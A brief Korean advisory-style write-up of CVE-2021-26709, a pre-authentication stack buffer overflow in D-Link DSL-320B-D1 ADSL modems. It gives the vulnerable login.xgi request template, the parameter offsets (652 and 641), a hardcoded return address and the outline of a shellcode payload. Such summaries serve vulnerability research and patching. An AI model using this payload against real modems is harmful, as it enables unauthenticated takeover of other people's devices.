[하루한줄] CVE-2021-26709: D-Link DSL-320B-D1 Pre-Auth Buffer Overflow
URL
D-Link DSL-320B-D1 Pre-Authentication Buffer Overflow
Target
- DSL-320B-D1, EU_1.25 and lower
Explain
ADSL 모뎀, DSL-320b-D1, EU_1.25 이하의 버전에서 인증되지 않은 사용자가 원격에서 디바이스를 탈취할 수 있는 Stack Buffer Overflow 취약점이 발견되었습니다.
취약점은 로그인을 담당하는 login.xgi
에서 user
와 pass
인자를 통해 발생합니다.
GET /login.xgi?user=" + payload + "&pass=abcde HTTP/1.1\\nHost: " +
host + "\\n\\n"
user
파라미터를 사용해 취약점을 악용하기 위해서 구성되는 페이로드는 다음과 같습니다.
OFFSET = 652
ADDR = 0x7ffe8ab0
payload = "A"*OFFSET
payload += pack(">I", ADDR)
payload += shellcode
반면에 pass
파라미터는 오프셋으로 641을 사용합니다. 페이로드는 GET request에서 파라미터로 전달되어야 하며 ROP를 사용하면 하드 코딩된 주소를 사용하지 않고 exploit이 가능합니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.